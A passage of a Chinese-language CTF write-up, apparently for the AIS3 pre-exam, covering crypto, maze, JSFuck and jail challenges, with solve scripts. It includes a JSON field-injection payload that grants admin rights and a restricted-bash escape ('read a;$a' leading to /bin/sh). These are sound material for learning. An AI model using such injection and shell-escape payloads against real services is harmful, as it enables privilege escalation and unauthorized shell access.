(32770673101468573334745826861404664798389315063538645806837393651909551536536, 100401781428278697585391151558125732567401693365612240823401685453468170478900)
(39839428061975701969713438995107260541398536023063144825665801479635230377333, 41558268187794203967580506585717811783884660475402664948173436421220558479144)
(29624366642549599967122261681142880798569189712725170900312037283370629635196, 30363495017214074940201388559237247852769705457211026445985904742143582133129)
(114679539158297417894748218509512742432909565995945900037400950871875444535842, 92714949347339299767235110519416446027169631917587951279299036804516341667856)
(2329971907905478800326651954302945282930262145339147170676066072017817347252, 32684641986411479312550457277619874489598581586890494361458537978409864064552)
(65377215854149495892530264494977722795440241412636322742625019531356240801609, 114766255624991710136950530511254346836717104427356310724603089667559363114286)
(80869283633790344996290310557845213635746506670495284021465148207830026226260, 24123246878630744157215280216742595036789975236434259051189847258702817357728)
(34184370886922033374515627200318579377956745586794466213171497332961029221070, 41580091010627970219721874074052462315723609200551877628345598109643626578870)
(15773941326914210874985274698891867065248693824868334843574764231988288974957, 68980538320779185958958068434503300527486377237762853547438156367521546117631)
(102591623672241462457942680527362085721202218889503195449391205702675656560289, 100543345722192334101587765258710016039824731094340516436990172906828537712903)
(70779528793799182923957642944150146531643531701967930809387126892206761384699, 13746724481828623588938847104886615850750613118007107675332921950992556176216)
(59302718624182530127436617516954149448475088865305428678132809648894441019916, 88549697608601633252494307664323824805070194956899568871840692819551537052929)
(91897905887725247289701334011116293483354911383322561659331569241581503611219, 4910863809058995865543671435316499549040906017489510856680511805979346339995)
(43087267289874348781357294373707212542984186791841902263600304249053137204372, 38471500808215646377043027234704998780970472440551400712423890093470717827431)
(75170119056341155888460788074525062321141558660921807791219720383285160602467, 43245574203068466374324498730930258847824964665608222316185238653592999077937)
(97519619432682059103580855321445069617233519398383460684277744901604857752505, 18206751288004379677505014956200652303319817191647457651693609950534040472329)
(34664007318726423893919069106241523806892146341886731470608510742962677134961, 106378496820303575876058549472862461550185854131541240135417874711634578177818)
(32586978507452874063642364048766055880186526730381535462458265827085271527240, 113791425815122118729695522116283704655534085484597793521751007714121780749149)
(114348445678504717217546510861123209136538698975664254100160334190963033921866, 64709241331679537316394416277220528145101155967950097198291946492285422133903)
(22869029755741039875854375644183818308945261340702744944645980783088176627603, 38886445477861555198259541592613644662608056592567064997188975239236036639793)
(22765329517251504994547613287090013685536983197418217362662871341472163233709, 46307575066499039921054184654690904420743980432822415027698512446797179994304)
(24809758517265550316026713475082101337380636811787323340821820876443671206477, 105350584173904714597945844875287871704127112875020531490602388287653245353177)
(3679726937273217480153978517563832882494734519855185148508984515839538705478, 102520273502250936991545619015852898835777837000983495202229620419623545696127)
(80936188967147522360860162079341860431450871064074245429739108172316447056728, 113634009282668232887874956237915458881057475204547052294171104680090483065338)
(53090034186907114140086369485992993172528156438934139000625339245859526983030, 61623489550085867507296755077345388729974661878973257889031230307793442036486)
(112844433373826102007687787137701994253802603965838930290282214960217672041261, 84753053738848355898439100782857142840867891234612182065681395670268913248641)
(42226372419530092955210798771492078475061625966765269299919191095442798929222, 12615687081082540143469369589065661482252407168605384319953710736588835255455)
(48034087306492366864172409167078568286432948382897801954434920545172845037074, 92490775831875059245089722164217808684470521408807561358584510102329093755394)
(16618175121271914132074629168712047688202959596606890215406128210702882682707, 42974597671429991098253471114012265687326741976458979611962187186328345596471)
(96674590810162370823785731176255930068581506260955420124275772133239311191781, 16427961480711219752887126744933265241213892915285060229523666886906050587403)
(96732483847618001737908455474222296136157366531053608250329416521287140889867, 63598474033749815607291915406476573799944521429012548027391549011454446464928)
(75151567806406350898706233115851392419408096529261110927661385066873630289649, 32977287118008817607992449016339408505413198798663778669712665558842659125986)
(102571937142233090349049676929495415068948718300627096325768005562794844340066, 85671014989413451796420074458240087802018803976698593724270254151022168510273)
(24324696385005587566636085720128995126281399706305172623143291484449436099911, 34544202109888688246652186044913548462419618135769327940020237093146309165597)
(5445192476171635301466918411319052163987636862969178073654777974106777264617, 4277498444753140558099168795023280972620825169416026723250045321426562657049)
(19647402601481004694815773547525663941638210998005578575193321327533496298606, 32395518797308895454651931388444090699656164921832729695818457661396354457593)
(75643031214128013154890167986828430460024389263735781657148540798563318309715, 4868031619880607625529997978217018900416801328319437855781875609648872391870)
(113893204869681915149618354002190616665919850697932456840786165962996653931500, 76382150950948657548406005865146203044673083755067535921146695572862092940752)
(59008989508660819023883646090481085737943646044355224747897643710280507164669, 114958003869676718813641722332611208423032067881014200969514785462408689244205)
(21431969888121465884515152574314269138509531982139722696361733711076254351232, 28199498534305633961665412720948573442276931903500849597349031958281470192857)
(111069801987996378767132358973890068497815131616643426781123023587081225630634, 107666470820062362453088814277707048926143723858401302829914465046049061834251)
(6035745391531174767302430474805364215210591244030352867078794104250725594458, 87327569118968695062931346087549095451884990452268419325402544722272636023475)
(5474650511467838492930861948597649354218206084527349216123510155063215431709, 75427576960384096751203366189289609405393630077361509482006610530949610623766)
(26913845003360477798758476474987189004873229838238185336581150912111060980986, 28472086314122005833743734419861407261278240677720077873955530839479376317627)
(21947148058416974964299409241294853134588863074666540418557991364755572299156, 89926084973667179850210982586549021896385011509152643857812060768058807170750)
(11426200901354934684055684004403086575935785460410755389018205128253961717445, 58355146206164277985180918505949413660802883447958174510400580040464355343560)
(54017997741870908565976154493376499129105512177284018449969619991904244521378, 2784688859458966923406592850494885981361905384484377708335693004733383337304)
(30207052283075459653555066930068254268762792635193595548258396080078929006274, 85470910729685570341423085232155399159977296625879635805497735363503094252970)
(63193492936895022535453443429065996233885099860903635709903434923432496723318, 91421935592834419458240808507304616875199475525659726266732532665658813240099)
(83958410297910555455675193987864173141594021131740849849634038834178070316083, 98685108568828007262327978686921556595918057257419087311805566324061463530597)
(12628756772255550276466649308187718476794746104712920675103418532854746838927, 2963294469147815208291959045075427665294777206994200304994016009578810349110)
(100690268052072490754521665876719030147213525944549627620287925972942224918304, 28429357104859359341698260609433015613968600521109952639495936664007080886476)
(891402931021741750614689177244866391786149653639059777121225134844428981073, 103413508626102787264920368457141278742635318395522256968435674377278825283596)
(8779951758339617186897641591407637216744376573096281986107725856001372898875, 45396294457905845388591162003419915608364964921050433180109811949018058247134)
(81192238844493948000444790191066457053453502617369983016849374039390463935911, 68027629841319872592216071937408601035513167500221693324360144331162117877408)
(5132257625224286050454192298392584083920933279471283416713941076130971920115, 51804399591163709095346834862560312542418825822449523866591004178258353314861)
(79526795306461585660349485040797289661838334625957890882786982732140076282066, 40924413490524667273639368439784294858268253084904206507885057231434736197473)
(54407154684005432635400640002083435774379259683373905258980532646601556588889, 9399430811769544739948210287374184975534915384415780552552149543340802011398)
(34893093155597722897019843988109787484664177686384515429436279573549132310837, 35060150423737612500485377023963810624487647027957179821655124895447557042330)
(64393370872990384111490342768857747292371271854079654068720709706067004896868, 27114540371847985794026636288912583646818270150810355957385696237237527838017)
(108241519219897706497813210210615553632178192386845667806810715539850804017701, 107938378374659706348913516941149121512885922901550772820173368052020525332473)
(30904415162438285464591827004189563473937084179872413545003437780294275012232, 108166551064710039626210525249572004488094008482878601326886149243814356132333)
(41085934816636925304090154072229702138753284058593592699039673277989522711437, 34488547432051153923279797030701978930757536399124597284937667068692142982560)
(78817878628326663197800141670021311011544107794956717428309374473657747874517, 35258172858934987472320651513926237935850682697374329516764217579632026362237)
(31454032676843765690913895431058569347904139768768480547863081854889136031892, 28389403330162763145092858145246433232288495997366115306500334226150884162156)
(47161977250883793825480141045819402114076441707371193749315393168431680187085, 115119030925087444280226573546288977640846931347165275495738041858735240288780)
(11360678046835250472755231560180105314107647212704858063460076442639922335375, 25150810057749580657484214725971286132682916355119069776712251111816126530284)
(53038863053111061188406390045497493287152472544502002369428701165320229181713, 66041342629370508454542074994365658229172256958181229352307334576482691683015)
(8632122664874796621953128019442062099837815757541666807238013800911876893350, 22501641140131711417963423065056536632180107445777684288207697273361470683273)
(115344464010290729302713831582193370190697080553660538053385895810259030460916, 77503448741335278183206156357396662423025923398172224236009034178181972205479)
(95677652297594211660378922522389069198792909828102345898292332512667184415485, 97369015286505274469621022862509528815401557947017152797209239504606974035121)
(52022678928966731960197629191385848996096766259855903228068390479180873592868, 12272018583799705915423423366852058485197850115859895472451299274837678927146)

有點多,第一下還以為可能是要把所有東西拿去xor之類的

但是有耐心的一步一步把上面那題的包裝全部拆掉後發現他只是一個長的像下面這樣的東東

1
2
3
4
5
6
7
8
9
10
11
b = swap(b) ^ swap(k) ^ 0101 -> key = swap(k) ^ 0101

b = b ^ k ^ 0101 ^ swap(k) -> key = swap(k)
b = swap(b)^swap(k) -> key = k ^ 0101
b = b ^ k ^ swap(k) -> key = swap(k)
b = swap(b)^swap(k)^0101 -> key = k ^ 0101

b = b ^ k ^ 0101 ^ swap(k) -> key = swap(k)
b = swap(b)^swap(k) -> key = k ^ 0101
b = b ^ k ^ swap(k) -> key = swap(k)
b = swap(b)^swap(k)^0101 -> key = k ^ 0101

所以輕鬆寫了個腳本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python
from pwn import *

BLOCK_SIZE = 256

def swap(b):
# swap first-half and last-half bit
l = BLOCK_SIZE // 2
mask = (1 << l) - 1
return (b >> l) | ((b & mask) << l)


if __name__ == "__main__":
plain, encrypt = (76173805501177359573786250867826865667623985658852407459502964711159068527937, 7132216118997241161329301114592304948838945360663660382939528954550389872641)
print "AIS3{"+hex(swap(swap(plain) ^ encrypt))[2:]+"}"

跑了起來就拿到flag: Flag : AIS3{db2b6caba3833bd883d32e94fad7af82dcbe718ef6b1852d3593b056e295873e} 99845311382255963867520670568134167074234626107841305012117760590481303515010

MaoHash

一樣沒什麼時間仔細研究他怎麼hash的

官解是說有length extension的攻擊可以用,不過我是還沒讀完

ReSolveFinaL

看了一眼發現是LFSR,但也來不及研究完QQ

官解是說可以用Berlekamp-Massey把參數搞出來之類的

其實我在這之前不知道Berlekamp-Massey在xor下也可以做,看了wiki才發現的確可以XD

畢竟之前我也只有在fjzzq的blog看過這個他說可以拿來唬爛線性遞迴式的算法

Misc

Are you admin?

題目開起來拿到一個ruby,看起來就是要繞過裡面的JSON

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/ruby
require 'json'

STDOUT.sync = true

puts "Your name:"
name = STDIN.gets.chomp
puts "Your age:"
age = STDIN.gets.chomp

if age.match(/[[:alpha:]]/)
puts "No!No!No!"
exit
end


string = "{\"name\":\"#{name}\",\"is_admin\":\"no\", \"age\":\"#{age}\"}"
puts string
res = JSON.parse(string)
puts res['age']

if res['is_admin'] == "yes"
puts "AIS3{xxxxxxxxxxxx}" # flag is here
else
puts "Hello, " + res['name']
puts "You are not admin :("
end

發現age那邊雖然不能有任何英文字母,但是特殊符號還是可以有的

所以想到說可以把他設定is_admin利用name的地方把他包起來,然後age那邊給個結尾的符號就可以了

payload大概長的像這樣:

1
2
3
4
Your name:
a","is_admin":"yes","meow":{"a":"b
Your age:
1"},"1":"7122

然後就拿到flag: AIS3{RuBy_js0n_i5_s0_w3ird_0_o}

不過官解好像不是要考這東東XD

Crystal Maze

打開這次是拿到一個我不認識的語言寫的腳本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
require "./secret"

def run(client : TCPSocket)
spawn do
sleep 5.seconds
begin
client.puts "timeout"
rescue
end
client.close
end

begin
client.puts "Bonjour. You're in a #{SIZE}x#{SIZE} crystal maze."
client.puts "To take a step, enter \"up\", \"down\", \"left\", or \"right\"."

x = 0
y = 0

loop do
client.send "move: "

case client.gets
when "up"
y += 1
when "down"
y -= 1
when "left"
x -= 1
when "right"
x += 1
else
client.puts "?"
break
end

if !((0 <= x < SIZE) && (0 <= y < SIZE))
client.puts "wall"
break
end

case MAZE[x][y]
when 0
client.puts "ok"
when 1
client.puts "wall"
break
when 2
client.puts FLAG
break
end

end

rescue
end

client.close
end


while client = SERVER.accept?.as TCPSocket
spawn run client
end

瞄了兩眼看起來就是要想辦法走迷宮走到終點

原本打算用python寫個腳本DFS的,但後來覺得有點難寫,而且地圖又不大,所以最後花了一點時間用手把地圖走完

以下是我走出來大概的地圖(?:未知,X:牆壁,.:空地,*:FLAG)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
???????????????*
???????????????.
???????????????.
???????????????.
???????????????.
???????????????.
??????????????..
?X????????????.X
X.XXX?????????..
.....X?????????.
.XX.X??????X???.
..X..X??X?X...X.
X.X.X??X.XX.X.X.
..X.X?X.....X.X.
X.X.XX..XXXXX...
..X....X......X.

真的走完就拿到flag: AIS3{4R3_Y0U_RUNN1NG_45_F45T_45_CRY5T4L?}

KcufsJ

拿到一個莫名其妙的東東

1
))()]]][+[+][!!+][!![)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+]][![+][+(+)][!(]]][+[)][+][!!(+]]][+[+][!!+[)]][[][+]][![(+]][!!+][!![)][+][!(+]]][+[+][!!+[))]][[][()()]][!!+[)][+][!(+]]][+[+][!!+[)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][!!(+]][+[)][+][!!(+]][!!+][!![)][+)(]]][!!+][!!+][!![)][+][!(+]][!!+][!!+][!![)][+][!!(+]]][+[+][!!+[)]][[][+]][![(+]][!!+[)][+][!!(+]][+[)][+][!!(+]][!!+[)][+]][[][(+]][!!+][!!+][!![)][+][!!([][(+]]][+[+][!!+][!![)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][!(+]][!!+[)][+]][[][(+]][!!+[)][+][!!(+]][+[)][+]][[][(+]][+[)][+][!!(+]][!!+][!!+][!![)][+][!!(+]][!!+[)][+][!!((]]][!!+[)][+][!!(+]]][+[+][!!+[)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][!!(+]][+[)][+][!!(+]][!!+][!!+][!![)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][(+]][+[)][+]][[][(+]][!!+[)][+][!!(+]][+[)][+][!!(+]][!!+][!!+][!![)][+][!(+]][!!+[)][+]][[][(+]]][+[+][!!+[)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][!!(+]][!!+][!!+][!![)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][([]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+]][![+(+]][!!+][!!+][!![)][+][!([))][!!+(+)][!!+][!!+][!!+][!!(+][!+)][!!+][!!+][!!+][!!+][!!+][!!+][!!+][!!+][!!(+)][!!+][!!+][!!(+][!+)][!!+][!!+][!!+][!!+][!!(+)][!!+][!!(+)][!!+(+][!+)][!!+][!!+][!!+][!!+][!!(+)][!!+][!!+][!!+][!!+][!!+][!!+][!!(+][!+)][!!+][!!+][!!+][!!+][!!(+)][!!+][!!+][!!+][!!+][!!+][!!+][!!(+][!+)][!!+][!!+][!!+][!!+][!!(+)][!!+][!!+][!!+][!!+][!!+][!!+][!!(+][!+)][!!+][!!+][!!+][!!+][!!(+)][!!+][!!+][!!+][!!+][!!+][!!+][!!(+][!+)][!!+][!!+][!!+][!!+][!!(+)][!!+][!!+][!!+][!!+][!!+][!!+][!!(+][!+)][!!+][!!+][!!+][!!+][!!(+)][!!+][!!+][!!+][!!+][!!+][!!+][!!(+][!+)][!!+][!!+][!!+][!!+][!!+][!!+][!!(+)][!!+][!!+][!!+][!!+][!!+][!!(+][!+)][!!+][!!+][!!+][!!+][!!(+)][!!+][!!+][!!+][!!+][!!+][!!+][!!+][!!(+][!+)][+(+)][!!+][!!+][!!+][!!+][!!+][!!+][!!(+][!+)][!!+][!!+][!!(+)][!!+][!!+][!!+][!!+][!!+][!!+][!!+][!!(+][!+)][!!+][!!+][!!+][!!(+)][!!+][!!+][!!+][!!+][!!+][!!+][!!(+][!+)][!!+][!!+][!!+][!!+][!!(+)][!!+][!!+][!!+][!!+][!!+][!!+][!!+][!!+][!!(+][!+)][!!+(+)][!!+][!!+][!!+][!!+][!!(+][!+)][!!+(+)][!!+][!!+][!!+][!!+][!!(+][!+)][!!+][!!+][!!+][!!+][!!(+)][!!+(+)][!!+(+][!+)][!!+][!!+][!!+][!!(+)][!!+(+)][!!+(+][!+)][!!+(+)][!!+][!!+][!!+][!!+][!!(+][!+)][!!+(+)][!!+][!!+][!!+][!!+][!!(+][!+)][!!+][!!+][!!+][!!+][!!+][!!+][!!+][!!(+)][!!+(+)][!!+(+][!+)][!!+(+)][!!+][!!+][!!+][!!+][!!(+][!+)][!!+(+)][!!+][!!+][!!+][!!+][!!(+][!+)][!!+][!!(+)][!!+][!!+][!!+][!!+][!!+][!!+][!!+][!!(+][!+)][!!+][!!+][!!(+)][!!+][!!(+)][!!+(+][!+)][!!+(+)][!!+][!!+][!!+][!!+][!!(+][!+)][!!+][!!+][!!(+)][!!+][!!+][!!+][!!+][!!+][!!+][!!+][!!(+][!+)][!!+][!!+][!!(+)][!!+][!!+][!!+][!!+][!!+][!!+][!!(+][!+)][!!+][!!+][!!+][!!+][!!(+)][!!+][!!+][!!+][!!+][!!+][!!(+][!+)][!!+][!!+][!!+][!!+][!!+][!!+][!!+][!!+][!!(+)][!!+][!!+][!!(+][!+)][+(+)][!!+][!!+][!!+][!!(+][!+)][!!+][!!+][!!(+)][+(+)][!!+(+][!+)][!!+(+)][!!+(+)][!!+(+][!+)][!!+][!!+][!!+][!!+][!!+][!!+][!!+][!!(+)][+(+)][!!+(+][!+)][!!+][!!+][!!+][!!+][!!+][!!(+)][!!+][!!+][!!+][!!(+][!+)][!!+(+)][+(+)][!!+(+][!+)][!!+][!!+][!!+][!!+][!!+][!!+][!!+][!!(+)][+(+)][!!+(+][!+)][!!+(+)][!!+(+)][!!+(+][!+)][!!+][!!+][!!+][!!+][!!(+)][!!+(+)][!!+(+][!+)][+(+)][!!+(+)][!!+(+][!+)][!!+(+)][!!+(+)][!!+(+][!+]][!!+][!!+][!!+][!!+][!!+][!!+][!!+][!!+][!![+][!!+][!!+][!!+][!!+][!!+][!!+][!!+][!!+][!!(+]]][!!+][!!+][!![+][!!+[)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][(+]][+[)][+][!!(+]][!!+[)][+]][[][(+]]][+[+][!!+[)]][[][+]][![(+]]][+[+][!!+[)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][!!(+]]][!!+[+][!!+[)][+)()]][!!+[)][+][!!(+]][!!+[)][+][!(+]][!!+][!![)][+)(]]][!!+][!!+][!![)][+][!(+]][!!+][!!+][!![)][+][!!(+]]][+[+][!!+[)]][[][+]][![(+]][!!+[)][+][!!(+]][+[)][+][!!(+]][!!+[)][+]][[][(+]][!!+][!!+][!![)][+][!!([][(+]][!!+][!!+][!![)][+][!(+]][+[)][+]][[][(+]][+[)][+][!!(+]][!!+[)][+][!(+]][+[)][+][!!(+]][!!+][!!+][!![)][+][!(+]]][+[+][!!+][!![)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][!(+]][!!+[)][+]][[][(+]][!!+[)][+][!!(+]][+[)][+]][[][(+]][+[)][+][!!(+]][!!+][!!+][!![)][+][!!(+]][!!+[)][+][!!((]]][!!+[)][+][!!(+]]][+[+][!!+[)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][!!(+]][+[)][+][!!(+]][!!+][!!+][!![)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][(+]][+[)][+]][[][(+]][!!+[)][+][!!(+]][+[)][+][!!(+]][!!+][!!+][!![)][+][!(+]][!!+[)][+]][[][(+]]][+[+][!!+[)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][!!(+]][!!+][!!+][!![)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][([]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][(+]][!!+][!!+][!![)][+][!!(+]][!!+][!![)][+]][[][(+]]][+[+][!!+[)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][!!(+]][!!+[)][!+)]][![+(+]][+[+][+()()]][!!+][!![)][+)(]]][!!+][!!+][!![)][+][!(+]][!!+][!!+][!![)][+][!!(+]]][+[+][!!+[)]][[][+]][![(+]][!!+[)][+][!!(+]][+[)][+][!!(+]][!!+[)][+]][[][(+]][!!+][!!+][!![)][+][!!([][(+]]][+[+][!!+[)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][!!(+]][+[)][+][!!(+]][!!+[)][+][!(+]]][+[+][!!+][!![)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][!(+]][!!+[)][+]][[][(+]][!!+[)][+][!!(+]][+[)][+]][[][(+]][+[)][+][!!(+]][!!+][!!+][!![)][+][!!(+]][!!+[)][+][!!((]]][!!+[)][+][!!(+]]][+[+][!!+[)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][!!(+]][+[)][+][!!(+]][!!+][!!+][!![)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][(+]][+[)][+]][[][(+]][!!+[)][+][!!(+]][+[)][+][!!(+]][!!+][!!+][!![)][+][!(+]][!!+[)][+]][[][(+]]][+[+][!!+[)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][!!(+]][!!+][!!+][!![)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][([]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+]]][!!+[+][!!+[)]]][!!+[)][+][!!(+]]][+[+][!!+[)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][!!(+]][+[)][+][!!(+]][!!+][!!+][!![)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][(+]][+[)][+]][[][(+]][!!+[)][+][!!(+]][+[)][+][!!(+]][!!+][!!+][!![)][+][!(+]][!!+[)][+]][[][(+]]][+[+][!!+[)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][!!(+]][!!+][!!+][!![)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][([)][+(+][(+]]][+[+][!!+[)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][!!(+]][!!+[)][+][!!(+]][+[)][+][!(+]][!!+[)][+))][+(+)][!!+][!!(+]][!!+][!!+][!![)][+][!!(+]][!!+[+][!!+(+(+]][!!+[)][+][!!(+]]][+[+][!!+[)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][!!(+]][+[)][+][!!(+]][!!+][!!+][!![)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][(+]][+[)][+]][[][(+]][!!+[)][+][!!(+]][+[)][+][!!(+]][!!+][!!+][!![)][+][!(+]][!!+[)][+]][[][(+]]][+[+][!!+[)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][!!(+]][!!+][!!+][!![)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][(+]][!!+[)][+))][+(+)][!!+][!!(+]][!!+][!!+][!![)][+][!!(+]][!!+[+][!!+(+(+]][!!+][!!+][!![)][+][!(+]][+[)][+]][[][(+]][+[)][+][!!(+]][!!+[)][+][!(+]][+[)][+][!!(+]][!!+][!!+][!![)][+][!(+]]][+[+][!!+][!![)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][!(+]][!!+[)][+]][[][(+]][!!+[)][+][!!(+]][+[)][+]][[][(+]][+[)][+][!!(+]][!!+][!!+][!![)][+][!!(+]][!!+[)][+][!!((]]][!!+[)][+][!!(+]]][+[+][!!+[)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][!!(+]][+[)][+][!!(+]][!!+][!!+][!![)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][(+]][+[)][+]][[][(+]][!!+[)][+][!!(+]][+[)][+][!!(+]][!!+][!!+][!![)][+][!(+]][!!+[)][+]][[][(+]]][+[+][!!+[)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][!!(+]][!!+][!!+][!![)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][([]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][()()]][!!+][!![)][+][!(+]][!!+[)][+][!(+]]][+[+][!!+][!!+][!![)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+]]]]][+[+][!!+][!!+][!![)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][!(+[]][!![[+]][![+(+]][!!+][!!+][!![)][+][!!(+]]][+[+][!!+][!![)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][!(+]][!!+[)][+]][[][(+]][!!+[)][+][!!(+]][+[)][+]][[][(+]][+[)][+][!!(+]][!!+][!!+][!![)][+][!!(+]][!!+[)][+][!!((]]][!!+[)][+][!!(+]]][+[+][!!+[)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][!!(+]][+[)][+][!!(+]][!!+][!!+][!![)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][(+]][+[)][+]][[][(+]][!!+[)][+][!!(+]][+[)][+][!!(+]][!!+][!!+][!![)][+][!(+]][!!+[)][+]][[][(+]]][+[+][!!+[)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][!!(+]][!!+][!!+][!![)]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][+][([]]][!!+][!![)][+][!(+]][!!+][!![)][+][!(+]]][+[+][!!+[)]][[][+]][![(+]][+[)][+][!([][

看了兩下覺得很像jsfuck,然後再看看題目就發現是jsfuck被rev過了,所以就再rev一下拿去瀏覽器跑

就拿到flag: AIS3{R33v33rs33_JSFUCKKKKKK}

Welcome

照著執行上面寫的hash就可以拿到flag: AIS3{988069d2c08c1910f422737ca412afe2}

Pysh

首先拿到一個python腳本,一樣看起來是要利用有限的字元集構造出一個任意執行的shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/python
import os
import sys

black_list = "bcfghijkmnoqstuvwxz!@#|[]{}\"'&*()?01234569"

your_input = raw_input(":")

for i in range(len(black_list)):
if black_list[i] in your_input:
print "Bad hacker...."
exit()

print os.system("bash -c '" + your_input + "'")

幾下後就想到有個read的指令,之前我就是用他來過某題pwnable.kr的題目的

具體payload就是read a;$a之後再打個/bin/sh就有完整shell了

去裡面翻一翻可以翻到flag: AIS3{read;$REPLY}

Mind Reading

發現是個tensorflow的東東,不過我沒學過ML,只好開始爬文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/env python3

# pylint: disable=import-error
